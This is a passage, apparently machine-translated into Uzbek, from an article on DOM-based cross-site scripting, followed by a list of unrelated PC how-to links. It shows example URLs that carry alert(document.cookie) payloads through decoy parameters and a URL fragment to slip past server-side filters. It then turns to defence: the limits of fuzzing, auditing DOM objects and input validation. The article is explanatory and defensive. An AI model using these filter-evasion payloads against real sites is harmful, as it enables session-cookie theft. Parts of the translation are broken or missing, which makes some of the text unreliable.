to'liq himoya qila olmaydi. Agar foydali yuk serverga yuborilishi kerak bo'lsa ham, ko'p hollarda uni aniqlanmaslik uchun ma'lum bir tarzda o'zgartirish mumkin. Misol uchun, agar ba'zi parametr himoyalangan bo'lsa (masalan, yuqoridagi misoldagi nom parametri), hujum skriptidagi kichik o'zgarish quyidagi natijani berishi mumkin: (document.cookie) Qattiqroq xavfsizlik siyosati nom parametrini yuborishni talab qiladi. Bunday holda siz quyidagi so'rovni yuborishingiz mumkin: http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe Agar sizning xavfsizlik siyosatingiz qo'shimcha parametr nomlarini cheklasa (masalan: foobar), siz quyidagi parametrdan foydalanishingiz mumkin: http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe Esda tutingki, e'tibor berilmagan parametr (foobar) birinchi bo'lib, uning qiymatida foydali yuk bo'lishi kerak. Bu yerda tasvirlangan hujum stsenariysi tajovuzkor uchun yanada ma’qulroq, chunki document.location ning to‘liq qiymati HTML sahifasiga yozilgan (Javascript kodi ma’lum parametr nomini qidirmaydi). Shunday qilib, tajovuzkor quyidagilarni yuborish orqali foydali yukni butunlay yashirishi mumkin: /attachment.cgi?id=&action=foobar#alert(document.cookie) Agar foydali yuk server tomonidan tahlil qilingan bo'lsa ham, himoya faqat so'rov rad etilsa yoki javob ba'zi xato matni bilan almashtirilsa kafolatlanishi mumkin. Yana va ga murojaat qilish: agar avtorizatsiya sarlavhasi oraliq xavfsizlik tizimi tomonidan oddiygina olib tashlansa, asl sahifa qaytarilsa, bu hech qanday ta'sir qilmaydi. Xuddi shunday, noqonuniy belgilarni olib tashlash yoki kodlash orqali serverdagi ma'lumotlarni qayta ishlashga bo'lgan har qanday urinish bu hujumga qarshi samarasiz bo'ladi. document.referrer holatida foydali yuk Referer sarlavhasi orqali serverga yuboriladi. Biroq, agar foydalanuvchi brauzeri yoki oraliq himoyasi ushbu sarlavhani olib tashlasa, hujumning izi qolmaydi, bu butunlay aniqlanmasligi mumkin. Xulosa qilib aytganda, an'anaviy usullar, ya'ni, degan xulosaga keldik 1. Server tomonidagi HTML ma'lumotlarini kodlash Zararli ma'lumotlarni "bombardimon qilish" orqali zaifliklarni avtomatik ravishda qidirish (ba'zan fuzzing deb ataladi) ishlamaydi, chunki bu texnikadan foydalanadigan dasturlar odatda kiritilgan ma'lumotlar qaytarilgan sahifada mavjudmi yoki yo'qligiga qarab xulosa chiqaradi (kontekstda kodni bajarish o'rniga). mijoz tomonidagi brauzer va natijalarni kuzatish). Biroq, agar dastur sahifada topilgan Javascript kodini statik ravishda tahlil qila olsa, u shubhali belgilarni ko'rsatishi mumkin (pastga qarang). Va, albatta, agar xavfsizlik vositalari Javascript kodini bajara olsa (va DOM ob'ektlarini to'g'ri ishga tushirsa) yoki bunday bajarilishini taqlid qilsa, ular ushbu hujumni aniqlay oladilar. Brauzer yordamida zaiflikni qo'lda qidirish ham ishlaydi, chunki brauzer mijoz tomonidan Javascript kodini bajarishi mumkin. Zaiflik vositalari ushbu usulni qo'llashi va uning bajarilishi natijalarini kuzatish uchun mijoz kodini ishga tushirishi mumkin. Mijoz tomonidan hujjatlarni qayta yozish, qayta yo'naltirish yoki mijoz tomoni ma'lumotlaridan foydalanadigan boshqa shunga o'xshash harakatlardan saqlaning. Ushbu harakatlarning aksariyati dinamik sahifalar (server tomoni) yordamida amalga oshirilishi mumkin. Mijoz tomonida kod xavfsizligini (Javascript) tahlil qilish va takomillashtirish. Foydalanuvchi (tajovuzkor) tomonidan ta'sirlanishi mumkin bo'lgan DOM ob'ektlariga havolalar diqqat bilan tekshirilishi kerak. Quyidagi ob'ektlarga alohida e'tibor berilishi kerak (lekin ular bilan cheklanmagan): E'tibor bering, hujjat va oyna ob'ektlarining xususiyatlariga bir necha usullar bilan murojaat qilish mumkin: aniq (misol: window.location), bilvosita (misol: joylashuv) yoki tutqichni olish va undan foydalanish (misol: handle_to_some_window.location). HTMLga to'g'ridan-to'g'ri kirish yoki to'g'ridan-to'g'ri DOMga kirish orqali DOM aniq yoki potentsial ravishda o'zgartiriladigan kodga alohida e'tibor qaratish lozim. Misollar (bu to'liq ro'yxat emas): Yuqoridagi misol bilan davom etsak, uchun samarali himoya Asl skriptni quyidagi kod bilan almashtirish mumkin, u HTML sahifasiga yozilgan satrda faqat harf-raqamli belgilar mavjudligini tekshiradi. |
Mashhur:
Yangi
- Windows ro'yxatga olish kitobi muharririni ochishning uchta usuli Qidiruv yordamida ro'yxatga olish kitobini ochish
- Qattiq diskni qanday qismlarga bo'lish kerak
- Biz qattiq diskni bo'limlarga ajratamiz
- Kompyuter yoqilganda signal beradi
- Windows-da fayl kengaytmalarini to'g'ri o'zgartirish Arxiv kengaytmasini qanday o'zgartirish mumkin
- YouTube YouTube-da reklamalarni reklamasiz bloklash
- TeamViewer - kompyuterni masofadan boshqarish Boshqa kompyuter bilan bog'lanish uchun dasturni yuklab oling
- Windows-da kompyuteringizning xususiyatlarini qanday aniqlash mumkin: tizim usullari va maxsus dasturlar
- Biz turli xil qurilmalarda brauzerlarni yangilaymiz: kompyuter, planshet, smartfon Yangilangan brauzerni qayerda va qanday qilib o'rnating
- Protsessor, video karta, quvvat manbai va kompyuter sovutgichini qanday moylash kerak